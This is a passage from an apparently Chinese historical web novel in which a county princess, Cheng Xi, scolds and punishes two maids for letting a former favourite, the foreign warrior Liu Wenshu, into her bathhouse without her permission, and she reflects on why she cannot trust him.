    日上三竿,程曦推开被单,懒洋洋地起身。


    她视线朝下扫了一圈,冷声问:“昨天,你们之中是谁做主让刘问枢进来的?”


    正系内衫绳扣的春桃双手一抖。


    “没有我的命令,让男人进我浴室,你胆子倒是不小。”


    春桃急忙跪下:“县主,奴婢瞧着你很喜欢刘郎君送的礼物,误以为您又想召幸于他,便……”


    “然后,你就自作主张,绕过重重守卫,把一个身强力壮的他国战士放进我的浴房。”程曦脸色没有丝毫缓和。


    春桃身体伏在地上,不死心地解释:“若是他人,奴婢不敢胡来,可县主之前已经宠过刘郎君几回,他应该没有坏心思的。”


    程曦对天翻了个白眼:“刘问枢过去希望我给他叔父收尸、想要通过我拯救族人、想要一个正经身份。他当然会对我伏低做小,今日,这些他都有了,我还凭什么相信他是无害的?”


    正因为程曦给过刘问枢太多东西,刘问枢才比其他人更清楚,讨好了程曦,他真的能够获得无穷无尽的好处。


    程曦没有辨别真心的本领,她也不认为有真心就会妨碍讨要好处,所以,她绝不可能全心信任刘问枢。


    “出去领罚,打手五下,再罚一个月的月钱。”


    “是。”春桃出门领罚。


    春桃出了门,留在房间里春草却始终低着头,程曦淡声询问:“你以为我只说春桃吗?”


    春草膝盖一软,顿时也跪在地上,“她看出我的意动,可你管着内院的各处钥匙。比起春桃,我对你更失望,你自己好好反省。”


    春桃管着程曦房事,发现程曦感兴趣的男人,把人弄进来,算得上是春桃的份内事。春草管着库房和内门各处的钥匙,是程曦心腹中的心腹。


    程曦真没想到春草居然会被春桃说动,甚至不对她知会一声,就把人直接放进来了。


    这才是程曦真正生气的地方。


    只为莫须有的情爱,就要把她的安全抛之脑后,该给这群丫鬟上上劲了!